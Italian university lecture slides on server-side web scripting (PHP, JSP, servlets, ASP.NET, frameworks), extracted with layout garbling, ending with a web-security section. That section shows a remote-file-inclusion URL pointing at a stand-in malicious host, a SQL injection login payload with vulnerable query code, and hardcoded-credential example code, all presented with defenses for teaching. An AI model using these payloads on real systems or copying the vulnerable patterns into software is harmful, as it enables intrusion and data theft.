Scripting server-side - I - TIM e Telecom in un unico portale · Microsoft per lo sviluppo di...
Transcript of Scripting server-side - I - TIM e Telecom in un unico portale · Microsoft per lo sviluppo di...
1
Le tecnologie di scripting server-side ci permettono di scrivere pagine Web che contengono:
• codice HTML (+ eventuale codice Javascript) inviato al client (browser) che lo interpreta
Scripting server-side - I
client (browser) che lo interpreta
• codice di scripting server-side, interpretato dal server: al client (browser) viene inviato il risultato dell'interpretazione (elaborazione), cioè – in linea di massima – codice HTML
rispetto alle tre distinzioni viste prima, le tecnologie di scripting server-side: utilizzano linguaggi di scripting
a.a. 2013/14 Tecnologie Web 1
utilizzano linguaggi di scripting servono a scrivere pagine "dinamiche" sono eseguiti server-side (il codice è elaborato sul server)
Scripting server-side - II
Le tecnologie server-side (in generale, e gli script server-side in particolare) servono principalmente per:1. acquisire informazioni dal client, per es: dati inseriti
dall'utente in un modulo online; dati contenuti in un link [1]dall utente in un modulo online; dati contenuti in un link [1]
2. inserire dati in un database (per es. i dati di registrazione di un utente) o leggere dati da un database (per es. per verificare username e password di un utente) [2]
Per far funzionare gli script server-side è necessario che il Web server "supporti" la tecnologia utilizzata è necessario che il Web server contenga un interprete per il linguaggio di
a.a. 2013/14 Tecnologie Web 2
Web se ve co e g u e p e e pe gu gg o dscripting prescelto [3]
Inoltre, siccome tipicamente gli script server-side interagiscono con un database è necessario che sul "server" ci sia un DBMS[2] che supporti l'interazione con il database prescelto
2
Scripting server-side - III
HTTP request
nome = mariaeta = 18-25insert.php...
Come ti chiami?Quanti da 18 a 25
maria
[1]
q
WebServer
Interprete(es. PHP)
HTTP response
Ciao Maria!Ho inserito i tuoi dati......
<?php
anni hai?da 18 a 25
… invia
[2]
[3]
a.a. 2013/14 Tecnologie Web 3
DBMS(es: MySQL
Server)DB
p p$nome=$_POST["nome"];$eta=$_POST["eta"];...//inserimento nel DB?> INSERT INTO utenti
VALUES ($nome, $eta)
I dati da inviare al Web Server possono derivare da:• moduli online (form)• link con parametri
Il client invia i dati al Web Server inserendoli nell'HTTP
[1] Inviare dati al Web Server - I
Il client invia i dati al Web Server inserendoli nell HTTP request
Esistono due modi per codificare i dati nell'HTTP request:• metodo GET• metodo POST
vediamo:1. moduli online (form)2. link con parametri3. contenuto di HTTP request4. differenza tra i metodi GET e POST
a.a. 2013/14 4Tecnologie Web
3
Moduli online (form)
In HTML...
<FORM METHOD="POST"
[1] Inviare dati al Web Server - II
<FORM METHOD= POST ACTION="id.php" >
Login: <INPUT TYPE="TEXT" NAME="login"/>
Password: <INPUT TYPE="PASSWORD" NAME="pwd"/>
<INPUT TYPE="Submit" VALUE="OK"/>
</FORM>
... un modulo online (form) contiene:a. campi di input (tag <INPUT...> e altri)b. metodo (attributo METHOD del tag <FORM...>)c. azione (attributo ACTION del tag <FORM...>)
a.a. 2013/14 5Tecnologie Web
a. campi di input = elementi attraverso cui l'utente fornisce dei dati, per es:
[1] Inviare dati al Web Server - III
tra i campi di input c'è anche il pulsante di invio!
b. metodo = modo in cui vengono codificati i dati da inviare al server
i i ( ) h " li " dc. azione = script (o programma) che "raccoglie" ed "elabora" i dati contenuti nel form
a.a. 2013/14 6Tecnologie Web
4
[1] Inviare dati al Web Server - IVContenuto di HTTP requestCosa succede quando l'utente fa click sul pulsante di invio?Viene costruita una HTTP request che contiene:
• l'indicazione della risorsa server-side (script ol indicazione della risorsa server side (script o programma) che "gestirà" i dati, ricavata dall'attributo ACTION, per es: ACTION="id.php"
• i dati, nella forma di coppie <nome, valore>, ricavati dai campi di input riempiti/selezionati dall'utente
Per es: HTTP request: risorsa = identif.phpdati: <login, admin>
a.a. 2013/14 Tecnologie Web 7
All'interno di HTTP request i dati (parametri) possono essere codificati in due modi, a seconda dell'indicazione contenuta nell'attributo METHOD del tag <FORM...>...
g<pwd, pippo>
[1] Inviare dati al Web Server - V
Differenza tra i metodi GET e POST• metodo GET: i dati, cioè le coppie <nome, valore>, sono
scritti in coda alla risorsa saranno quindi visibili nell'URL (nella barra degli indirizzi del browser)Per es:
• metodo POST: i dati (parametri), cioè le coppie <nome, valore>, sono scritti all'interno del corpo (body) di HTTP
HTTP headerrisorsa = identif.php ?login=admin&pwd=pippo...
HTTP body...
a.a. 2013/14 Tecnologie Web 8
p ( y)request non saranno quindi visibili nella barra degliindirizzi del browser Per es:
HTTP headerrisorsa = identif.php...
HTTP bodydati: <login, admin>
<pwd, pippo>...
5
[1] Inviare dati al Web Server - VI
Link con parametri
In HTML...
<A HREF="param.php?risposta=alan">Alan</A> <BR><A HREF="param.php?risposta=kit">Kit</A> <BR><A HREF="param.php?risposta=john">John</A>
Cosa succede quando l'utente fa click sul un link?Viene costruita una HTTP request che contiene:
NB l'indicazione della HTTP header
risorsa = param php ?risposta=kit
a.a. 2013/14 Tecnologie Web 9
risorsa server-side (scripto programma) è nel link (attributo HREF), insieme
ai dati il metodo usato nell'HTTP request per la codifica dei dati è GET!
risorsa param.php ?risposta kit...
HTTP body...
Vi ricordate l'URL rewriting, utilizzato per gestire la sessione se i cookies sono stati disattivati?
Avevamo detto che il Web Server scrive il session-id come
[1] Inviare dati al Web Server - VII
parametro degli URL presenti nella pagina...
Ora siamo in grado di capire cosa vuol dire: quando il client deve costruire un'HTTP request (per es. quando l'utente clicca su un link), all'URL (risorsa) indicata nell'HTTP request viene aggiuto il session-id; per es:<A HREF="adduser.php">
diventa:<A HREF="adduser.php?PHPSESSID=68cf093a2ec5aa4f6cb60">
a.a. 2013/14 10Tecnologie Web
6
[2] Digressione: database - I
• I database ci permettono di salvare dati in modo strutturato• Esistono diverse tipologie di database, basate su principi di
strutturazione diversi: database relazionali, database ad oggetti, ...gg ,
• I tipi di database più utilizzati sono i database relazionali• La struttura di un database relazionale (quali tipi di
informazioni contiene, quali relazioni hanno le informazioni tra loro, ...) può essere definita a vari livelli:
vista 1 vista 2 vista n
a.a. 2013/14 Tecnologie Web 11
livello concettuale
livello logico
livello fisico
[2] Digressione: database - II
Livello logico: rappresentazione tabellare dei datiEsempio:
Tabella: LIBRI colonna/campo
N.Inv Autore Titolo Anno_ed Casa_ed
riga/recordcella
a.a. 2013/14 Tecnologie Web 12
Quando vogliamo costruire una tabella, dobbiamo innanzitutto definire la sua struttura: i nomi dei campi (colonne) e i tipi di dati in essi contenuti
7
[2] Digressione: database - III
Interazione con un database (utente, tramite una User Interface, o script server-side/programma):• interrogazione (leggo da DB)• inserimento di dati (scrivo nel DB)inserimento di dati (scrivo nel DB)• cancellazione di dati ("scrivo" nel DB)• aggiornamento
(scrivo nel DB)User Interface
a.a. 2013/14 Tecnologie Web 13
database<?$c=mysql_connect("localhost“,"root","");mysql_select_db("bacheca");$sql="SELECT * FROM ut WHERE co='Rossi'";$ris = mysql_query($sql)...?>
Script (server-side)
[2] Digressione: database - IV
Ogni interazione con la base di dati:
– viene interpretata, analizzata ed eseguita dal DBMS(DataBase Management System)
– costituisce una query, espressa (direttamente oppure tradotta) in SQL (Structured Query Language), es:SELECT * FROM libri WHERE editore='Feltrinelli'INSERT INTO utenti VALUES (nome, eta)
– restituisce come risultato un insieme di record (recordset), es: n.inv autore titolo casa_ed
a.a. 2013/14 Tecnologie Web 14
123
456
789
Allende
Benni
Voltolini
Eva Luna
Terra
10
Feltrinelli
Feltrinelli
Feltrinelli
8
Le principali tecnologie di scripting server-side sono:• PHP: open source [www.php.net]• JSP (Java Server Pages): di Sun Microsystems/Oracle
[www.oracle.com/technetwork/java/javaee/jsp/index.html]
Scripting server-side - IV
[ ]• ASP.NET [www.asp.net]: complesso framework di
Microsoft per lo sviluppo di pagine ed applicazioni Web che include anche meccanismi di scripting server-side (ma non è limitato a questi), es. con i linguaggi Visual Basic o C#
A cui si sono aggiunti, recentemente, due linguaggi di programmazione molto usati come linguaggi di scripting
a.a. 2013/14 Tecnologie Web 15
programmazione molto usati come linguaggi di scripting (server-side):• Python: open source (Python Software Foundation)
[www.python.org]• Ruby: open source [www.ruby-lang.org]
Pagina PHP = file di testo, con estensione .php, che può contenere:– Codice HTML (+ event. Javascript)– Codice PHP (= script server-side)
Scripting server-side: PHP - I
Esempio:...<P ALIGN="CENTER"><FONT FACE="Verdana" SIZE="3"><B>Prova form 1 (php)</B></FONT></P><?$id = $_POST["login"];$pwd = $ POST["password"];
script PHP (interpretato
HTML (interpretatodal browser)
a.a. 2013/14 Tecnologie Web 16
$pwd = $_POST[ password ];if ($id == "admin" && $pwd == "pippo") {echo "<P>Benvenuto amministratore!</P>";}else {echo "<P>Buongiorno ".$id."</P>";}
?>...
dall'interprete PHP, sul server)
9
Tipicamente:
Scripting server-side: PHP - II
sistema operativo
web server DBMS interprete scriptserver-side
Linux Apache MySQL PHP
L. A. M. P.
Linux (www.linuxfoundation.org)Apache (www.apache.org)MySQL (www.mysql.com)PHP (www.php.net)
Linux Apache MySQL PHP
tutte tecnologie Open Source[*]
a.a. 2013/14 Tecnologie Web 17
NB: sono possibili combinazioni diverse... Per es: Windows + Apache + MySQL + PHP = W.A.M.P.
Mac OS + Apache + MySQL + PHP = M.A.M.P.
Breve parentesi sull'open source[www.opensource.org]
Open Source Initiative (OSI) = associazione no-profit che ha l'obiettivo di gestire e promuovere la produzione di
[*] Digressione: Open Source - I
ha l obiettivo di gestire e promuovere la produzione di software open sourceIl software open source (o software libero) deve rispettare una serie di criteri:
• Il codice sorgente del programma deve essere disponibile• Il software può essere modificato e distribuito (con un
nome diverso) alle stesse condizioni
a.a. 2013/14 Tecnologie Web 18
• La licenza del software deve consentire a chiunque di ridistribuire il software secondo le stesse modalità
• Chiunque può partecipare allo sviluppo del software• Il software deve essere distribuito gratuitamente (senza
diritti d'autore o profitti)
10
L'idea che sta alla base dell'Open Source Initiative è la seguente: quando i programmatori hanno la possibilità di leggere, modificare e ridistribuire il codice sorgente di un programma quel software si evolve La gente lo migliora
[*] Digressione: Open Source - II
programma, quel software si evolve. La gente lo migliora, lo adatta, lo corregge. E tutto questo può avvenire con una rapidità che appare impressionante a chi è abituato ai ritmi lenti dello sviluppo del software convenzionale.
La comunità dell'open source ha imparato che questo rapido processo evolutivo produce software migliorerispetto al tradizionale modello chiuso, nel quale solo
hi i i i h l di
a.a. 2013/14 Tecnologie Web 19
pochissimi programmatori hanno accesso al codice sorgente e tutti gli altri devono avere a che fare con un imperscrutabile e oscuro blocco di bit.[da www.opensource.org]
JSP (Java Server Page) = file di testo, con estensione .jsp che può contenere:– Codice HTML (+ event. Javascript)– Codice Java, oppure tag JSTL (JSP Standard Tag Library
Scripting server-side: JSP - I
Codice Java, oppure tag JSTL (JSP Standard Tag Library = libreria di tag che corrispondono ad istruzioni Java)
Esempio:...<P ALIGN="CENTER"><FONT FACE="Verdana" SIZE="3"><B>Prova JSP/JSTL (sql)</B></FONT></P><sql:setDataSource driver="com.mysql.jdbc.Driver" JSTL
HTML (interpretatodal browser)
a.a. 2013/14 Tecnologie Web 20
url="jdbc:mysql://localhost/database_name" var="localSource" user="database_user" password="database_password"/> <sql:query dataSource="${localSource}" sql="SELECT * FROM products WHERE price > 100" var="result" /> ...
JSTL tags
11
Note:• Java è un linguaggio di programmazione, che viene
(apparentemente) utilizzato anche come linguaggio di scripting...
Scripting server-side: JSP - II
p g• I tag JSTL assomigliano ai tag di un linguaggio di mark-up...
ma non lo sono! Vengono infatti tradotti in istruzioni Java
Infatti...il funzionamento delle JSP è diverso rispetto alle altre tecnologie di scripting (es. PHP): una JSP viene tradotta in una Java Servlet, cioè un programma Java che viene poi
a.a. 2013/14 Tecnologie Web 21
automaticamente compilato ed eseguito: la sua esecuzione genera la pagina Web
Vediamo cosa sono le Servlet, poi torniamo a vedere come funzionano le JSP...
Java Servlet - I
Le Java Servlet (www.oracle.com/technetwork/java/index-jsp-13 5475.html) sono dei programmi Java pensati per la programmazione sul Web
• li si deve poter invocare "attraverso" il Web Server (per esli si deve poter invocare attraverso il Web Server (per es. tramite un URL)
• devono essere in grado di manipolare HTTP (request e response); in particolare:
il Web Server deve poter passare al programma la HTTP request proveniente dal client (browser) contenente i dati, affinché la Servlet possa leggerne il contenuto
a.a. 2013/14 Tecnologie Web 22
affinché la Servlet possa leggerne il contenuto
quando la Servlet ha elaborato il risultato (per es. un frammento di codice HTML), lo mette dentro all'HTTP response che verrà inviata al client (browser) dal Web Server
12
Java Servlet - IILe Servlet (come le tecnologie di scripting server-side) servono principalmente per:1. acquisire informazioni dal client, per es: dati inseriti
dall'utente in un modulo online; dati contenuti in un link2 i i d ti i d t b ( i d ti di i t i di2. inserire dati in un database (per es. i dati di registrazione di
un utente) o leggere dati da un database (per es. per verificare username e password di un utente)
tutto ciò che abbiamo detto (parlando di scripting server-side) a proposito di: moduli online (form), link con parametri, contenuto di HTTP request, differenza tra GET e POST, vale anche per le Servlet!
a.a. 2013/14 Tecnologie Web 23
rispetto alle tre distinzioni viste prima, le Servlet sono programmi Java, che è un linguaggio di
programmazione servono a scrivere pagine "dinamiche" sono eseguiti server-side (il codice è eseguito sul server)
Java Servlet - III
Per costruire un'applicazione Web basata sulle Servlet è necessario un Servlet Container (o Web Container o Servlet Engine) che:
– "carica" le Servlet nel processo del Web Server (alla prima invocazione della Servlet)
– supporta il protocollo HTTP (per gestire il flusso HTTP request/HTTP response)
– gestisce al suo interno più applicazioni, ognuna identificata da un servlet context (nome univoco)
a.a. 2013/14 Tecnologie Web 24
13
Java Servlet - IV
HTTP request
Come ti chiami?Quanti anni hai?
da 18 a 25
maria
nome = mariaeta = 18-25"inserisci"...
WebServer
ServletContainer
HTTP response
Ciao Maria!
…
SERVLET inserisci
anni hai?… invia
Ciao Maria!Ho inserito i tuoi dati......
DBMS
a.a. 2013/14 Tecnologie Web 25
Applicazione Web
Print("Ciao,"+nome); ...//inserimento nel DB/*invia ris in HTTPresponse*/
DBMS(es: MySQL
Server)DB
INSERT INTO utentiVALUES ($nome, $eta)
Java Servlet - V
Tipi di Servlet Container:
• Servlet Container incluso nel Web server: alcuni Web server (scritti in Java) includono un Servlet Container; ( ) ;per es: Tomcat [vedi prossima slide]
• Servlet Container in J2EE Application Server: esiatono degli Application Server che includono un Web server e un Servlet Container; per es: Glassfish [vedi prossima slide]
• Servlet Container in "runtime" separato: Web server
a.a. 2013/14 Tecnologie Web 26
Servlet Container in runtime separato: Web server come Apache e Microsoft IIS necessitano di un Servlet Container in un modulo separato per gestire le Servlet (+ un plug-in che gestisce la comunicazione tra Web server e Servlet Container)
14
Tomcat (tomcat.apache.org)Tomcat è un Web server open source, sviluppato dalla Apache Software Foundation, che include un Servlet Container
Java Servlet - VI
Glassfish (glassfish.java.net)GlassFish è un Application Server[*] open source,
sviluppato inizialmente dalla Sun Microsystems e attualmente gestito dalla Oracle; include un Web server e un Servlet Container
[*] A li ti S ft h d di
a.a. 2013/14 Tecnologie Web 27
[*] Application Server = software che comprende diverse funzionalità per la gestione di applicazioni complesse; tipicamente, include un Web server
Torinamo alle JSP e cerchiamo di capire come funzionano...Alla prima richiesta di una pagina JSP, viene invocato un Compilatore JSP che crea una Java Servlet:– trasforma i tag HTML (e le eventuali istruzioni Javascript) in
Scripting server-side: JSP - III
g ( p )istruzioni Java che scrivono nel body della HTTPresponse(quindi sulla pagina Web che sarà visualizzata dal browser)es: <P ALIGN='CENTER'> PrintWriter pw;
pw = httpResp.getWriter();pw.print("<P ALIGN='CENTER'>");
– se la JSP contiene direttamente codice Java, lo include nella Servlet
a.a. 2013/14 Tecnologie Web 28
– se la JSP contiene tag JSTL, li traduce in istruzioni Java e le include nella Servlet
15
per far funzionare le JSP è necessaria la stessa tecnologia che si usa per le Java Servlet (un Web server con un Servlet Container) + un compilatore JSP (motore JSP), che traduce la JSP in una Servlet
Scripting server-side: JSP - IV
che traduce la JSP in una Servlet
Tomcat e Glassfish contengono, oltre al Servlet Container, anche il motore JSP
a.a. 2013/14 Tecnologie Web 29
• ASP.NET = framework (gratuito) che supporta la costruzione di applicazioni Web (pagine Web con estensione .aspx)
• nel framework .NET possono essere utilizzi diversi linguaggi di i ti / i il iù t è Vi l C#
Scripting server-side: ASP - I
di scripting/programmazione: il più usato è Visual C#• Visual Studio = ambiente di sviluppo integrato (IDE) di
Microsoft per sviluppare applicazioni Web, mobile e Windows in ambiente .NET comprende:– .NET Framework– IIS (Web Server)– SQL Server (DBMS)
a.a. 2013/14 Tecnologie Web 30
SQL Server (DBMS)• Visual Studio include anche delle librerie client-side (per
inserire script Javascript, AJAX, JQuery, ...)• Visual Studio Express = versione gratuita per sviluppare
app. Web (scaricabile da www.asp.net, Get Started)
16
Python - I
• Python (www.python.org) è linguaggio di programmazione utilizzabile anche come linguaggio di scripting (server-side)
L i l i di b (CP h f• La sua implementazione di base (CPython, reference implementation) è open source ed è gestita dalla Python Software Foundation (www.python.org/psf)
• Supporta diversi paradigmi di programmazione (object-oriented, procedurale, ecc.)
• Utilizza un approccio "misto" (come Java): il codice i il i li i i di
a.a. 2013/14 Tecnologie Web 31
sorgente viene compilato in un linguaggio intermedio (bytecode), specifico di Python, il quale viene poi interpretato ed eseguito dall'interprete (Virtual Machine)
Python - II
• E' uno dei 4 linguaggi utilizzati da Google (insieme a Javascript, Java e C++), è il principale linguaggio con cui è implementato YouTube, è usato al CERN e alla NASA, ...
• Nel download di Python (che comprende compilatore eNel download di Python (che comprende compilatore e interprete) è incluso anche un ambiente di sviluppo (un IDE: vedi prossime slide) chiamato IDLE
a.a. 2013/14 Tecnologie Web 32
17
Ruby
• Ruby (www.ruby-lang.org) è linguaggio di programmazione sostanzialmente utilizzato come
linguaggio di scripting (server-side), creato in Giappone all'inizio degli anni '90all inizio degli anni 90
• E' open source
• E' un linguaggio object-oriented (ma supporta diversi paradigmi di programmazione)
• E' un linguaggio interpretato
• Una guida: www.techotopia.com/index.php/Ruby Essentials
a.a. 2013/14 Tecnologie Web 33
Una guida: www.techotopia.com/index.php/Ruby_Essentials
Integrated Development Environments (IDE)
• IDE = Integrated Development Environment = strumento software che offre diverse funzionalità integrate a supporto della programmzione
Ti i t i l d• Tipicamente include:– un editor per scrivere/modificare il codice sorgente– compilatori/interpreti e strumenti per la corretta
creazione dell'applicazione finale (es. file di configurazione, ecc.)
– strumenti per il "debugging", cioè per la ricerca e la correzione degli errori ("bug" = errore nel software)
a.a. 2013/14 Tecnologie Web 34
correzione degli errori ( bug = errore nel software)
• Alcuni IDE sono dedicati ad un singolo linguaggio di programmazione, altri supportano più linguaggi
18
IDE: NetBeans• NetBeans (https://netbeans.org/) nasce alla Sun Microsystems
ed è ora della Oracle• NetBeans nasce come IDE per Java, ma è stato poi esteso per
supportare vari altri linguaggi per sviluppare applicazioni W b i J i PHPWeb, tra cui Javascript, PHP,
a.a. 2013/14 Tecnologie Web 35
IDE: Eclipse• Eclipse (www.eclipse.org) è un IDE open source, multi-
linguaggio, molto utilizzato per sviluppare applicazioni (Web) Java
• Può essere esteso per supportare diversi linguaggi (per es. PHP, P ht R b J i t) ti i di li i i ( li i iPyhton, Ruby, Javascript) e tipi di applicazioni (es. applicazioni per smartphone) con l'aggiunta di opportuni plug-in
a.a. 2013/14 Tecnologie Web 36
19
Software frameworks - I
• Software framework (o semplicemente framework) = ambiente software che offre dei "template" ("modelli") astratti di codice che offrono funzionalità generiche e che possono essere modificati dal programmatore che aggiungepossono essere modificati dal programmatore che aggiunge codice specifico, così da implementare funzionalità specifiche per sviluppare applicazioniGeneralmente un framework comprende anche compilatori/interpreti, librerie, e moduli che aiutano il programmatore nello sviluppo di un'apllicazione complessa
• Web Application Framework (WAF) = software
a.a. 2013/14 Tecnologie Web 37
framework per lo svuiluppo di applicazioni WebGeneralmente un WAF comprende librerie per l'accesso a database, la gestione delle sessioni, ecc.
Software frameworks - IIFrameworks (WAF) per PHP• Esistono molti framework per PHP• Uno dei più famosi è Zend Framework (framework.zend.com)• Un articolo comparativo: p
www.html.it/articoli/framework-php-una-comparazione-1/
• Vedi anche: www.phpframeworks.com
Frameworks (WAF) per Python• Esistono diversi framework per Python• Il più famoso è Django (www.djangoproject.com/)• Un elenco: https://wiki.python.org/moin/WebFrameworks
a.a. 2013/14 Tecnologie Web 38
p py g
Frameworks (WAF) per Ruby• Esistono diversi framework per Ruby• Il più famoso è sicuramete Ruby on Rails, o Rails
(rubyonrails.org)
20
La sicurezza nelle applicazoni Web
• I programmi, soprattutto se di grandi dimensioni, possono contenere errori (bugs, "bachi") e alcuni errori possono rappresentare "falle di sicurezza"
La sicurezza sul Web: introduzione - I
• Le falle di sicurezza rappresentano dei punti di ingresso per terze parti provenienti dall'esterno, a cui è fornita la possibilita di acquisire dati o alterare il funzionamento dell'applicazione
Intrusione = accesso non previsto ad un programma, con
a.a. 2013/14 Tecnologie Web 39
p p g ,lo scopo di prelevare dati nascosti o modificarne il funzionamento; es: furto di dati personali (documenti, credenziali per l'accesso, contatti e dati anagrafici) custoditi all'interno di database non protetti a sufficienza
• Le motivazioni di un'intrusione possono essere varie, dalla sfida personale alla truffa vera e propria
• Per ridurre la possibilità di intrusioni bisogna "mettere in sicurezza" l'applicazione per implementare
La sicurezza sul Web: introduzione - II
sicurezza l applicazione per implementare un'applicazione web sicura sono necessari tempo ed energie, che spesso vengono invece spesi solo quando si presentano i problemi…
• La messa in sicurezza di un'applicazione dovrebbe invece seguire di pari passo la progettazione, per evitare di dover inserire successivamente costose e meno funzionali patch
a.a. 2013/14 Tecnologie Web 40
p
21
ATTACCHI:esistono diversi modi per attaccare un'applicazione web: accenniamo solo ad alcuni esempi: attacchi in fase di autenticazione
La sicurezza sul Web: introduzione - III
attacchi in fase di autorizzazione iniezioni di codice
DIFESE E MESSA IN SICUREZZA:progettazione di applicazioni sicure: accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio: test audiovisivi
a.a. 2013/14 Tecnologie Web 41
validazione dell'input sicurezza della sessione
Autenticazione = processo tramite il quale un programmaverifica le credenziali di un computer/programma/utente
Tecniche di intrusione basate su debolezze dei meccanismi di autenticazione per ottenere i dati di accesso (credenziali):
Attacchi: autenticazione - I
di autenticazione per ottenere i dati di accesso (credenziali):• Brute force:
– processo automatico per tentativi ed errori– tramite la generazione casuale di stringhe o l'utilizzo di
appositi dizionari, effettua reiterati tentativi per indovinare dati come username, password, numeri di carte di credito, …
a.a. 2013/14 Tecnologie Web 42
22
• Autenticazione insufficiente:– vulnerabilità che dipende da una cattiva progettazione
della sicurezza del sito– per es: un'applicazione web che implementa un'area
Attacchi: autenticazione - II
riservata inserendola in una cartella o in un file non linkato nella home, accessibile solo a chi ne conosce il percorso, senza altre protezioni
• Sistema debole per il recupero e validazione della password: – recupero password non sicuro
hi di ti l d i hi ti
a.a. 2013/14 Tecnologie Web 43
– per es: a chi dimentica la password vengono richiesti alcuni dati personali inseriti in fase di registrazione (email, domicilio, numero di telefono, …); ricavare queste informazioni è spesso facile per chi conosce la vittima che intende colpire
Autorizzazione = metodo con cui vengono controllate le credenziali di un utente/applicazione e stabilite le possibilità di accesso a certe operazioni (verifica dei "privilegi")
Tecniche di intrusione basate su debolezze dei meccanismi
Attacchi: autorizzazione - I
Tecniche di intrusione basate su debolezze dei meccanismi di autorizzazione per falsificare i propri privilegi:• Session hijacking: "dirottamento della sessione"
– consiste nel ricavare l'ID di sessione di uno degli utenti collegati in quel momento e sfruttare le sue credenziali per accedere a dati o a sezioni riservate
a.a. 2013/14 Tecnologie Web 44
23
• Autorizzazione insufficiente:– vulnerabilità che dipende da una cattiva progettazione
della sicurezza del sito– per es: un'applicazione web che permette l'accesso a
Attacchi: autorizzazione - II
documenti riservati a chi ne conosca il percorso, senza imporre le dovute restrizioni
• Terminazione della sessione insufficiente: – quando il sito permette all'utente di riutilizzare un
vecchio session ID anche dopo diverso tempo, per evitargli di ripetere frequentemente il login (questo fa sì h li t i t bbi iù t di i i
a.a. 2013/14 Tecnologie Web 45
che un malintenzionato abbia più tempo a disposizione per tentare un furto di un session ID)
Iniezioni di codice = inserimento di codice che esegue operazioni anomale non previste dall'autore• Esempio 1: iniezioni PHP (uso incauto di GET e include)
http://sito_esempio/esempio.php?include_script=previsto.php
Attacchi: iniezioni di codice - I
– l'URL di connessione alla pagina esempio.php contiene il parametro include_script, il cui valore è il (percorso del) file che contiene lo script da inserire all'interno del codice (previsto.php)
– all'interno di esempio.php leggiamo il valore del parametro include_script senza alcun controllo sul tale valore!!include ($_GET["include_script"]);
rendiamo possibile inoculare, per es, lo script malevolo.php id t l it it l l !!!
a.a. 2013/14 Tecnologie Web 46
residente sul sito sito_malevolo.com !!!
Per farlo è infatti sufficiente connettersi a:http://sito_esempio/esempio.php?include_script=
http%3A%2F%2Fsito_malevolo.com%2Fmalevolo.php: / / /
24
• Esempio 2: iniezioni SQL (uso incauto di POST)
Attacchi: iniezioni di codice - II
L'utente inserisce nel form caratteri "strani", per es:
Username: ' OR ' ' = '
– all'interno della nostra pagina PHP leggiamo i valore inseriti dall'utente e li usiamo per interrogare il database (fare una query SQL) senza alcun controllo sul tali valori!!$query = "SELECT * FROM dati utenti WHERE
Username: OR Password: ' OR ' ' = '
a.a. 2013/14 Tecnologie Web 47
$query SELECT FROM dati_utenti WHERE username = '".$user."' AND password = ".$pass."'";
– la nostra interrogazione (query) seleziona tutti i record della tabella!
l'utente malintenzionato può stampare sul proprio browser tutto il contenuto della tabella del database con i dati degli utenti!!!
Spesso, per cercare automaticamente le falle di un sistema, vengono utilizzati dei programmi che effettuano un'analisi (automatica) dei punti vulnerabili del sistema (NB: possono essere usati sia per intrusione, sia per la ricerca
ti di ibili f ll di i )
Difese: test audiovisivi - I
preventiva di possibili falle di sicurezza...)
Difesa contro gli strumenti di analisi automatica:• esistono diverse possibili azioni preventive• ne citiamo solo una a titolo esemplificativo: i
CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart)
b ll'id d l t t di T i ( d d
a.a. 2013/14 Tecnologie Web 48
– basato sull'idea del test di Turing (porre domande che permettano di capire se l’interlocutore è un umano o una macchina)
25
– la forma più comune di CAPTCHA è visiva: vengono mostrati all’utente lettere e numeri distorti in modo da eludere gli OCR (Optical Character Recognition:programmi dedicati al riconoscimento di un'immagine
t t t t )
Difese: test audiovisivi - II
contenente testo)
a.a. 2013/14 Tecnologie Web 49
– esistono anche forme di CAPTCHA audio
Progettazione di applicazioni sicure (accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio…)
Validazione inputUno dei punti più deboli di un'applicazione Web è l'elaborazione
Difese: validazione input - I
U o de pu t p ù debo d u app ca o e Web è e abo a o edei dati forniti dall'utente in input (es. nei form; vedi es. prec.) effettuare dei controlli sulle stringhe in input è fondamentale!– Numeri: is_numeric(n) controlla che n sia un numero– Stringhe: validare le stringhe è una questione molto più
complessa… esistono due modi principali:
(a) filtrare l'inserimento di specifiche sequenze di caratteri,
a.a. 2013/14 Tecnologie Web 50
( ) p q ,come i tag HTML, eliminando o ri-codificando le parti della stringa potenzialmente dannose (+ permissivo)
(b) accettare solo input che rispettino specifiche regole di formattazione (+ restrittivo)
26
(a) L'utente può inserire apici singoli (') e doppi (")Possibile difesa: funzioni di escapeEscape = anteposizione di un carattere di escape, generalmente il backslash (\), ad alcuni caratteri che hanno significati particolari (per esempio gli apici); la presenza del carattere di escape comunica all’interprete di non
Difese: validazione input - II
apici); la presenza del carattere di escape comunica all interprete di non interpretare ciò che segue
Nel precedente es. di iniezione di codice SQL, utilizzando delle funzioni di escape sull'input fonito dall'utente nel form si evita di scrivere (involontariamente) una query "dannnosa":$query = "SELECT * FROM dati_utenti WHERE
username = '".mysql_real_escape_string($user)."' ANDpassword = ".mysql_real_escape_string($pass)."'";
A l l' ò i i l f i i li
a.a. 2013/14 Tecnologie Web 51
Analogamente, l'utente può inserire nel form caratteri speciali (es. tag HTML) con lo scopo di far eseguire codice malevoloPossibile difesa: funzioni che eliminano i tag HTML dalla stringa in input, oppure trasformano i caratteri speciali secondo la sintassi HTML (< diventa < ecc…);
(b) Controlli sull'input:• si può, per es, controllare la lunghezza (e il tipo) delle stringhe
in input (con delle apposite funzioni)• si possono usare delle whitelist controllare che i dati
Difese: validazione input - III
• si possono usare delle whitelist controllare che i dati (stringhe) appartengano ad una lista predefinita (per es, controllo che l'input appartenga alla whitelist lunedì, martedì, mercoledì, giovedì, venerdì
a.a. 2013/14 Tecnologie Web 52
27
Sicurezza della sessione• La misura di sicurezza più semplice è utilizzare i cookies come
mezzo di trasporto del session ID, inibendo l'URL rewriting (rendendo così il session hijacking molto più difficile da realizzare): per farlo occorre modificare la configurazione del modulo PHP
Difese: sicurezza della sessione - I
per farlo occorre modificare la configurazione del modulo PHP• Una soluzione più efficace è la rinegoziazione del session ID ogni
volta che viene inizializzata una sessione (session regeneration): la funzione session_regenerate_id() genera un nuovo session ID non prevedibile, ri-creando il cookie che ne contiene il valore
• Rotazione del session ID: simile alla session regeneration, ma la generazione del nuovo session ID avviene ad ogni richiesta effettuata dall'utente; è una soluzione molto sicura, ma ha alcuni problemi,
a.a. 2013/14 Tecnologie Web 53
; , p ,per es: impedisce il funzionamento del tasto back del browser (il back
effettua una richiesta con un session ID non più valido in quanto rinegoziato)
impedisce il funzionamento corretto di memoria cache o di proxy
• La maggioranza dei problemi di sicurezza delle applicazioni Web è legata alla validazione degli input: impedire che quanto inserito dall'utente possa contenere stringhe dannose significa già aver reso un sito più sicuro
La sicurezza sul Web: conclusioni
• Non si tratta di un'operazione semplice: si deve cercare un compromesso tra– le funzionalità e l'usabilità (che rischiano di venire
compromesse da controlli troppo restrittivi) e – la sicurezza
NB gli utenti sono pigri! spesso non vogliono dover
a.a. 2013/14 Tecnologie Web 54
NB gli utenti sono pigri! spesso non vogliono dover risolvere un CAPTCHA ad ogni accesso…
• Ricordarsi che le scelte di messa in sicurezza dipendono dal tipo di applicazione e di dati trattati!